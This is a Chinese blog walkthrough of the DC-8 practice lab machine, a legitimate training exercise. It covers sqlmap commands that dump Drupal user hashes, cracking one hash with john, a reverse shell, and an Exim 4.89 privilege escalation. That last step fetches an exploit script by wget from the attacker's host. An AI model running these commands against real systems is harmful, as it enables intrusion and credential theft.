首页 > 其他分享 >DC-8

DC-8

时间:2024-03-03 16:22:06浏览次数:21  
标签:bin 文件 DC 192.168 Disallow usr 权限

DC-8靶机渗透测试过程

信息收集

主机扫描

nmap -sP 192.168.238.0/24
或
arp-scan -l

靶机ip192.168.238.196

端口扫描

nmap -A 192.168.238.196

image-20240303144113927

有22,80端口开着

目录扫描

dirb http://192.168.238.196/ | grep 'CODE:2'
或
dirsearch -u http://192.168.238.196/

这里能扫到登录页面,也可以直接看robots.txt

Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/

漏洞的发现和利用

SQL注入点

观察url,可能存在sql注入点,sqlmap跑一下,自己先手测一下也可以

这里我加了一个单引号,发现报错了

老套路,跑数据

sqlmap -u http://192.168.238.196/?nid=1 --dbs
sqlmap -u http://192.168.238.196/?nid=1 -D d7db --tables
sqlmap -u http://192.168.238.196/?nid=1 -D d7db -T users -C name,pass --dump

得到了用户名和密码

+--------+---------------------------------------------------------+
| name   | pass                                                    |
+--------+---------------------------------------------------------+
| admin  | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john   | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+--------+---------------------------------------------------------+

john命令解密

密码是hash加密了的,用john进行解密

echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' > 1.txt
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到密码明文turtle,这里只解出来john的密码

尝试登录后台,john用户可以登录上来

反弹shell

一顿找,找到了可以解析php的地方。这里可以先用phpinfo进行测试,我测试过了,所以直接弹shell了

image-20240303151810659

利用python生成一个伪终端,前提是靶机上有python

python -c 'import pty; pty.spawn("/bin/bash")'

提权

查找一下有suid权限的命令

SUID(Set User ID)是Linux文件系统中的一个特殊权限,它允许文件在执行时以文件所有者的身份运行。这意味着,当一个具有SUID权限的文件被执行时,调用者会获得该文件所有者的权限,即使调用者本身没有足够的权限来执行该文件。

4000 2000 1000分别表示SUID SGID SBIT

1.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –t(1000)等

www-data@dc-8:/var/www/html$ find / -type f -perm -4000 -print 2>/dev/null    
find / -type f -perm -4000 -print 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

发现有个exim4命令

看一下它的版本

www-data@dc-8:/var/www/html$ exim --version
exim --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07

在kali上搜一下,看一下有没有这个版本漏洞
image-20240303154128715

发现有一个46996.sh符合

将脚本下载到靶机上

wget 192.168.238.70/dc-8.sh -P /tmp

查看源码,使用方法

image-20240303154702814

这里使用netcat方式

www-data@dc-8:/tmp$ ./dc-8.sh -m netcat

成功提权后,一分多钟就回到原来权限,但也够用了

总结

SUID(Set User ID)是Linux文件系统中的一个特殊权限

find / -type f -perm -4000 -print 2>/dev/null 查找有suid权限的文件

python -c 'import pty; pty.spawn("/bin/bash")'生成一个伪终端

涉及到的知识点:

SQL注入,john命令,php反弹shell,exim4的提权

标签:bin,文件,DC,192.168,Disallow,usr,权限
From: https://www.cnblogs.com/C0rr3ct/p/18050202

相关文章

  • leedcode 相交链表
    会超出时间限制:classSolution:defgetIntersectionNode(self,headA:ListNode,headB:ListNode)->Optional[ListNode]:cur_b=headBcur_a=headAwhilecur_b!=None:#两个相等ifcur_b==cur_a:r......
  • AP8851H DC-DC降压恒压IC+协议芯片 USB PD快充方案电源驱动
    产品描述    AP8851H一款宽电压范围降压型DC-DC电源管理芯片,内部集成使能开关控制、基准电源、误差放大器、过热保护、限流保护、短路保护等功能,非常适合在宽输入电压范围具有优良的负载和线性调整度。AP8851H芯片包含每周期的峰值限流、软启动、过压保护和温度保护,带......
  • Open Data Contract Standard(ODCS) data contracts 标准
    ODCS属于一个linux基金会项目,目前处于沙箱阶段包含的特性datacontracts框架 Fundamentals,Datasets&Schema,DataQuality,Pricing,Stakeholders,Security,Sevice-Levelagreements(SLA),CustomProperties贡献者&终端用户 包含了DataEngineers,DataScientists,Data......
  • WordCount案例教学会遇到的bug
    《尚硅谷大数据Hadoop教程,hadoop3.x搭建到集群调优,百万播放》P74-78会遇到的bugWindows机上未配置Hadoop_HOME环境变量。解决方法:需要通过winutils来虚拟hadoop在windows的环境。Windows的IDEA中的所创建wc项目的jdk版本,与Linux虚拟机上的版本不一致,导致在虚拟机集群上,hado......
  • STM32ADC单通道转换
    STM32ADC单通道转换1.初始化ADC功能初始化主要分三部分,GPIO初始化、ADC模式初始化与NVIC初始化。1.1初始化GPIOvoidADC_GPIO_Config(void)//配置ADC通道引脚{ GPIO_InitTypeDefGPIO_InitStructure;//定义GPIO结......
  • ADQ7DC-10 GSPS, 14bit ,PXIe数字化仪
    产品简介:♦1/2通道,14bit分辨率,10GSPS采样率♦3GHz模拟输入带宽及4GB板载内存♦可以灵活选择通道数,采样率和接口更多信息请加weixin-pt890111获取产品优势1.高分辨率和高采样率的独特结合ADQ7DC具有14bit和10GSPS采样率,提高了高采样率应用中的分辨率,超出了以前的范围。这种......
  • ADQ12DC 1/2通道,12bit分辨率,1GSPS采样率
     1/2通道,12bit分辨率,1GSPS采样率更多信息请加weixin-pt890111获取产品规格—2或4通道同步采集—1GSPS采样率每通道—12bits采样精度—DC耦合,700MHz信号带宽—可编程DC-偏移量—内部和外部参考时钟—内部和外部时钟发生器—参考时钟输出—内部和外部触发—......
  • SP Devices ADQ7DC-1/2通道,14bit分辨率,10GSPS采样率
    产品优势1.高分辨率和高采样率的独特结合ADQ7DC具有14bit和10GSPS采样率,提高了高采样率应用中的分辨率,超出了以前的范围。这种性能提升有效地帮助我们的客户克服了性能折衷,并在许多应用中取得了重大进步。ADQ7DC可以单通道或双通道模式工作,分别具有10或5GSPS采样率。 更多......
  • DC-9
    DC-9靶机信息收集主机扫描开启靶机,ping一下存活主机┌──(root㉿kali)-[/home/kali]└─#nmap-sP192.168.238.0/24StartingNmap7.94SVN(https://nmap.org)at2024-03-0102:48ESTNmapscanreportforbogon(192.168.238.52)Hostisup(0.0012slatency).MA......
  • CloudCanal x Hive 构建高效的实时数仓
    简述CloudCanal最近对于全周期数据流动进行了初步探索,打通了Hive目标端的实时同步,为实时数仓的构建提供了支持,这篇文章简要做下分享。基于临时表的增量合并方式基于HDFS文件写入方式临时表统一Schema任务级的临时表基于临时表的增量合并方式Hive目标端写入方式和......